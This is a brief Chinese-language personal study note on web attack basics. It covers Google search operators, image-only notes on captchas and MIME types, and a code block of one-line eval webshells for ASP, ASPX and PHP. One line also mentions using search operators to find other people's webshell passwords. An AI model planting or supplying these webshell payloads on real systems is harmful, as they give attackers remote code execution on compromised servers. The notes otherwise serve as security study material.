暴力破解 · 個人筆記

一：谷歌黑語法 site：可以限制你搜索范圍的域名. inurl：用于搜索網頁上包含的URL，這個語法對尋找網頁上的搜索，幫助之類的很有用. intext: 只搜索網頁<body>部分中包含的文字(也就是忽略了標題、URL等的文字) intitle: 查包含關鍵詞的頁面，一般用于社工別人的webshell密碼二：驗證碼演變 ![](https://img.kancloud.cn/b5/24/b524d004083f9b76d69e220039a20da3_378x278.png) ![](https://img.kancloud.cn/6e/97/6e9724f42c72cb39cba49878e93b3e67_461x287.png) ![](https://img.kancloud.cn/c7/8b/c78bb1b30fb6264d74c894fefdc03640_386x329.png) ![](https://img.kancloud.cn/a8/0a/a80a8440dc9c227a786c8995ec6d9a57_480x261.png) ![](https://img.kancloud.cn/55/c4/55c4837b47508a3fbc18e987752998d0_401x214.png) ![](https://img.kancloud.cn/db/5e/db5e96e7bd9725cd5157830a1c0a706b_411x491.png) 三：一句話木馬 ``` asp: <%eval request(“pass”)%> aspx: <%@ Page Language%><%eval(Request.Item[“pass”].”unsafe”);%> php: <?php @eval($_POST[‘pass’]);?> ``` 四：MIME MIME有哪些類型？ ![](https://img.kancloud.cn/98/6b/986b3363d8933c82b473a43049fd941d_675x272.png)